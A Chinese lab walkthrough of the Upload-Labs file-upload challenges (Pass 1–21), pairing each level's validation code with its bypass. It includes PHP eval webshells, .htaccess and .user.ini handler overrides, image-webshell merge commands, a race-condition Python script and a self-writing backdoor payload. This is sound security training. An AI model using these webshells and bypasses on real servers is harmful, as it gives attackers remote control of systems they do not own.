Upload-Labs (Pass1-Pass21) 完整通关思路与源码分析

文件上传

php官网:PHP

php一句话木马

将恶意代码(木马)伪装成看似正常的文件,绕过网站的前端或后端检测并上传,之后通过工具连接木马获得服务器控制权

🐘 一句话木马是什么?

"一句话木马"是一种短小精悍的恶意代码,通常只有一行,但功能强大。它通过eval等函数执行接收到的指令,为攻击者提供操作服务器的后门。

当PHP标签被过滤时,可以用<%%3C这类替代符号 来绕过限制。这属于Web安全中常见的一句话木马变形技术,通过使用不同编码或符号变体来规避关键词检测。

链接到木马文件

  • <?php ... ?>: PHP代码的起始和结束标签。

  • @: 错误控制运算符,用于屏蔽执行中可能产生的错误信息。

  • eval(): PHP中将字符串作为代码执行的函数,是整个木马的核心。

  • $_POST['cmd'] : 从HTTP POST请求中获取名为cmd的参数值。

当这个文件被上传并访问时,攻击者可以通过客户端(如蚁剑、菜刀)向该文件发送POST请求,参数cmd中携带要执行的系统命令,这些命令就会被服务器执行。

192.168.test.php?w3b=这样的URL格式来执行命令,但要注意编码问题 可能导致显示异常(比如出现"黑点点")。在PHP中尖角号()是必须的 ,否则代码不会被识别为PHP。但如果系统禁止使用尖角号,使用PHP开头的方式(比如短标签<?<script language="php">)。

pikachu里

文件上传漏洞 的核心在于:当系统允许上传文件时,如果没有严格限制文件类型,攻击者就可能上传恶意文件(比如PHP木马)。

两个关键点:

1)必须绕过限制成功上传;

2)要知道文件最终存储在服务器的哪个路径,否则上传了也无法利用。

前期准备

实时保护和防火墙关一下(仅学习时使用)

原理:

php---->png

burpsuit抓包

请求里修改回php

第一关

源码
复制代码
function checkFile() {
    var file = document.getElementsByName('upload_file')[0].value;
    if (file == null || file == "") {
        alert("请选择要上传的文件!");
        return false;
    }
    //定义允许上传的文件类型
    var allow_ext = ".jpg|.png|.gif";
    //提取上传文件的类型
    var ext_name = file.substring(file.lastIndexOf("."));
    //判断上传文件类型是否允许上传
    if (allow_ext.indexOf(ext_name + "|") == -1) {
        var errMsg = "该文件不允许上传,请上传" + allow_ext + "类型的文件,当前文件类型为:" + ext_name;
        alert(errMsg);
        return false;
    }
}
1.创建php文件

一句话木马 的典型形式是eval($_POST['cmd']),它的利用方式是通过给cmd参数赋值来执行任意PHP代码

复制代码
<?php eval($_POST['cmd']);?>
2.蚁剑链接

整个过程就是:初始化→设置访问路径→通过参数名传递指令。

3.burpsuit抓包修改后缀

关键点在于

1)先用合法后缀(如.png)骗过前端检查;

2)抓包后改回真实后缀(.php);

3)最后要确认文件上传路径才能执行攻击。

4.右键查看新标签打开图像

这个 PHP 文件就像一个对讲机: 蚁剑 = 正常对讲(POST 带 cmd) :你持续发送指令(删文件、看目录、上传文件),服务器接收指令干活,这就是 WebShell 正常管理功能。 浏览器裸访问 = 对讲机开机自检(无 cmd):只是弹出环境信息,你没法发指令控制服务器。

原生一句话木马:<?php eval($_POST['cmd']);?>

  • 浏览器 GET 访问:报错 Undefined index:cmd无法管理服务器

  • 蚁剑 POST 访问:正常工作,管理服务器文件

复制代码
<?php 
if(isset($_POST['cmd'])){ 
    eval($_POST['cmd']);
}else{    
    phpinfo();
} 
?>

多加了一层 "自检页面",不会破坏蚁剑原本的通信功能,两种访问方式互不干扰。

第二关

重点在于分析源代码

Content-Type 属性的作用,以及后端如何校验文件类型。Content-Type 用来声明上传文件的类型,白名单 三种类型:image/pngimage/jpgimage/gif

如果匹配,才会继续处理文件;如果不匹配,就直接返回错误,比如提示"文件类型不正确,请重新上传"。这种校验方式能有效防止用户上传不安全的文件类型。

  1. 修改Content-Type字段:把原本的"text/php"改成"image/jpeg"或"image/png"来欺骗系统

  2. 验证解析效果:先用简单的phpinfo()函数测试是否上传成功,确认服务器能解析上传的php文件

第三关

源码分析

上传test.png,burpsuit修改

第四关

阿帕奇(Apache)服务器配置文件的特殊用法

源码分析

复制代码
$is_upload = false;
$msg = null;
if (isset($_POST['submit'])) {
    if (file_exists(UPLOAD_PATH)) {
        $deny_ext = array(".php",".php5",".php4",".php3",".php2","php1",".html",".htm",".phtml",".pht",".pHp",".pHp5",".pHp4",".pHp3",".pHp2","pHp1",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf");
        $file_name = trim($_FILES['upload_file']['name']);
        $file_name = deldot($file_name);//删除文件名末尾的点
        $file_ext = strrchr($file_name, '.');
        $file_ext = strtolower($file_ext); //转换为小写
        $file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA
        $file_ext = trim($file_ext); //收尾去空
​
        if (!in_array($file_ext, $deny_ext)) {
            $temp_file = $_FILES['upload_file']['tmp_name'];
            $img_path = UPLOAD_PATH.'/'.$file_name;
            if (move_uploaded_file($temp_file, $img_path)) {
                $is_upload = true;
            } else {
                $msg = '上传出错!';
            }
        } else {
            $msg = '此文件不允许上传!';
        }
    } else {
        $msg = UPLOAD_PATH . '文件夹不存在,请手工创建!';
    }
}

题目考察的是**.htaccess** 这个文件,它是目录级别的配置文件,不像主配置文件那样全局生效。

复制代码
<FilesMatch "\.jpg$">
    SetHandler application/x-httpd-php
</FilesMatch>

利用Apache的.htaccess配置文件。通过在upload目录下创建这个文件,可以强制让Apache把jpg文件当作php来解析。

核心在于:真正的攻击成功需要同时满足两个条件:

  1. 绕过上传限制;

  2. 确保文件能被正确解析执行。

burp 抓包,修改后缀为.htaccess上传

旧写法 AddType application/x-httpd-php 在新版 Apache2.4 已经废弃,是产生 500 错误的主要原因!

修改php到有nts版本----因为Apache默认不会走FPM进程 ,需要手动切换到**Nginx+PHP(NTS版本)**的组合才能触发解析。

第五关

文件访问重定向

源代码

黑名单校验很难做到完全覆盖,比如用全大写的.PHP后缀,或者.php7、.html等变体都可能绕过限制。

当用户访问某个目录下的php文件时,系统会默认加载同目录下的jpg文件内容

正常情况下访问jpg不会执行php代码,但通过创建.htaccess配置文件 ,就能实现访问php文件时自动加载jpg内容的效果。

复制代码
auto_prepend_file=shell.jpg

在user.ini文件中添加一行配置,就能实现访问任何内容前先加载这张图片的功能。

修改的user.ni文件没生效------因为Apache默认不会走FPM进程 ,需要手动切换到**Nginx+PHP(NTS版本)**的组合才能触发解析。

第六关

源代码

先上传.htaccess文件,再上传test.png文件

test.php +空格

第七关

  • . /+.空格

在文件名末尾加一个点可以让系统误判文件类型。比如把"test.php."上传时,服务器会忽略最后的点,仍按php文件执行。

第8关

本关考核的是 deldot() 函数的行为deldot() 只删除末尾的一个点,但实际源码中它是循环删除所有末尾点。

复制代码
"shell.php. . " → "shell.php. . "(trim 先去空格)

第9关

index.txt::$DATA====>默认数据流

源码分析

// 黑名单数组,禁止上传的后缀(已经包含 .htaccess)

  • ::$DATA

  • 流名的特殊语法访问非默认流(比如index.txt:metadata),不过直接打开文件时系统默认只显示主数据流。

第10关

单次字符串替换(双写绕过)

复制代码
filename="test.pphphp"

第11关

GET 路径穿越(save_path 漏洞)

本关考核的是 路径穿越(Directory Traversal) 漏洞。源码使用白名单检查扩展名,但 save_path 参数直接来自 GET 请求,未做任何过滤,可注入 ../ 实现任意路径写入。

  • 源码分析

第12关

POST 路径穿越

本关与 Pass-11 原理相同,但 save_path 从 GET 改为 POST。POST 数据不会 URL 编码,需要在 Burp 中直接插入原始空字节。

第13关

手工读取文件头(unpack)

本关考核的是最基础的文件类型检测------只读取文件头 2 个字节判断文件类型。这种检测极其薄弱,任何文件只要前 2 字节匹配就能通过。

图片码====》服务器

访问图片码---》服务器没办法把php图片识别为php 代码

图片马具体详细步骤见第15关

也可以用 (0x00截断)

第14关

项目 Pass-13 Pass-14
检测深度 只看前 2 字节 解析完整图片结构
纯文本改后缀 能通过(只要加2字节头) 不能通过(不是真图片)
图片马要求 任意文件+合法头 必须是真正的图片文件
检测函数 unpack() 手工解包 getimagesize() 内置函数

步骤和上关一样,详细步骤见15关

第15关

提示

文件上传验证绕过的技术点。他在文件内容前添加了"gif89a"的魔术数字,成功让系统误判文件类型为GIF。

比如第14关使用getimagesize()函数检测图片尺寸,就算改了魔术数字,上传PHP文件还是会报错。第15关则是通过image_type判断文件类型,同样存在被绕过的风险。

上传失败的根本原因不是代码逻辑错误,而是缺少upload目录解决方法很简单------手动创建upload文件夹即可

本关使用 exif_imagetype() 检测文件类型。该函数读取文件开头的签名库(比前两关更全面),但同样不检查尾部内容。

需要启用 PHP EXIF 扩展。

1.修改配置文件

2.重启Apache

3.验证

复制代码
命令行:php -m | findstr exif
  或访问 phpinfo() 页面搜索 exif

具体步骤

1.准备图片a.jpg和文件shesll.php
2.Windows CMD 合成命令
复制代码
:: jpg图片马 
​
copy a.jpg /b + shell.php /a shell.jpg

在这个文件目录下输入cmd打开

参数说明:

  • /b:二进制模式(图片)

  • /a:ASCII 文本模式(php 代码)

Linux 命令等效:cat a.jpg shell.php > shell.jpg

3.上传图片马

上传成功后,记录返回的文件地址,类似:

复制代码
upload/3020260729072259.png
成功截图

第16关

防御方式:它不仅校验文件类型,还会对上传内容进行二次渲染

图片上传后系统会打乱原文件内容,导致嵌入的PHP代码失效。关键解决思路是通过比对原图和渲染后的文件,找出未被修改的部分,然后把木马代码插到这些保留区域。

源码分析

操作步骤

1.构造 GIF 图片马
复制代码
GIF89a
<?php @eval($_POST['cmd']); ?>

大家也可以用这个,也是一样的一句话木马,只是润色避免了我浏览器打不开

复制代码
GIF89a
<?php
if(isset($_POST['cmd'])){
    eval($_POST['cmd']);
}else{
    phpinfo();
}
?>

注意这里的图片一定要是动图!!!

下面是我找到的gif格式的图片,先把它重命名a.gif,上传875.gif

第二次导入

,上传在得到

GIF 文件头 GIF89a 是校验关键,exif_imagetype() 识别为合法 gif。
💡为什么 GIF 更容易成功:

PHP 的imagecreatefromgif对 GIF 的注释 / 文件头部内容保留性更强,多数情况下不会清除头部代码

然后用010Editor比较后面两张图片,在空白处写入一句话木马的代码,上传,后面步骤一样。

第17关--条件竞争漏洞分析

关键点 在于:当用户上传可疑文件时,系统会先用unlink()函数立即删除该文件,这是一种安全防护措施。

防御逻辑是:先把上传文件暂存到指定路径,检测到异常就立即调用unlink删除。

核心思路 是通过同时发送大量请求来突破系统限制:比如默认发10个请求,但可以调整到每次发20个来提高攻击频率。关键在于观察响应状态码------如果返回200说明上传成功(即使后续被删除),而访问时只要不是404就代表命中了一次有效文件。

实际操作中需要双线并行:一边持续上传文件,另一边不断访问目标路径。就像打地鼠游戏,只要抓住任何一个非404的响应瞬间,就证明攻击成功了。不过要注意,这种暴力破解方法需要反复尝试,成功率不稳定。

步骤1.上传test.png,用burpsuit抓包

步骤 2:Intruder 持续发包(不断尝试上传)

  1. 将数据包发送到 Intruder

  2. Payload 设置:Null payloads(无载荷,单纯循环重放)

选项设置:线程数调至 30~50,无限循环发包

作用:不停上传 shell.php,让文件反复落地

步骤 3:并发持续访问文件(抢占竞争窗口)

方案 A(Burp Repeater 多标签)

新建请求,循环访问地址:

复制代码
http://192.168.178.1/upload/Pass-17/shell.php

开启多线程持续 GET 访问。

方案 B(Python 脚本,成功率更高,推荐)

复制代码
import requests
import threading
​
url = "http://192.168.178.1/upload/Pass-17/shell.php"
data = {"cmd":"phpinfo();"}
​
def visit():
    while True:
        try:
            res = requests.post(url,data=data,timeout=0.3)
            if res.status_code == 200 and "phpinfo" in res.text:
                print("✅竞争成功!木马执行!")
                break
        except:
            pass
​
t = threading.Thread(target=visit)
t.start()

脚本持续 POST 发包触发 eval,一旦命中时间窗口,页面执行 phpinfo。

第18关

Pass17:后端不随机改名,可以直接竞争访问原文件名

Pass18:后端随机重命名,必须使用 "自写入生成固定文件名" 的 Payload,这是最关键区别!

不要直接写一句话,改用文件创建木马

修改你的test.php内容:

复制代码
<?php
// 访问瞬间,在当前目录生成稳定名字shell.php
$f = fopen("shell.php","w");
fwrite($f,'<?php @eval($_POST["cmd"]); ?>');
fclose($f);
?>

原理说明

  1. Intruder 持续高并发上传 test.php

  2. 在服务器删除test.php之前,GET 访问触发代码执行

  3. 脚本自动生成固定名称 shell.php

  4. 后续直接访问 http://192.168.178.1/upload/Pass-18/shell.php 永久后门

后面操作和上一关一样

第19关

接收 POST 参数 save_name(自定义保存文件名)

第20关

复制代码
save_name[0]=shell.php 
save_name[1]=jpg

相关推荐
__Witheart__2 小时前
3568 Android ntp校时使用
android·rockchip
wddptwd283 小时前
android studio 报错怎么处理 java.lang.NullPointerException
android·java·android studio
美狐美颜SDK开放平台4 小时前
直播APP开发,美颜SDK和相机SDK有什么区别?
android·深度学习·数码相机·ios·直播美颜sdk·视频美颜sdk
唐诺5 小时前
Android Open Accessory (AOA) 协议完全解析
android·usb·aoa
发量惊人的中年网工6 小时前
工业视觉云边 AI 推理总是卡顿?SD-WAN 打通边缘算力互联
网络·人工智能·网络安全·云计算
我命由我123457 小时前
Android 开发 - 广播组件(标准广播、有序广播、静态注册广播、分钟到达广播、网络变更广播...)
android·java·开发语言·网络·java-ee·android studio·android-studio
A富得流油的咸鸭蛋7 小时前
安卓鸿蒙面试
android·面试·harmonyos
wardenlzr7 小时前
@IntDef 替代 enum:Android 官方推荐的轻量常量方案
android·性能
Coffeeee7 小时前
AGP9.0的主要变更项,给Gradle来一次大变样
android·前端·gradle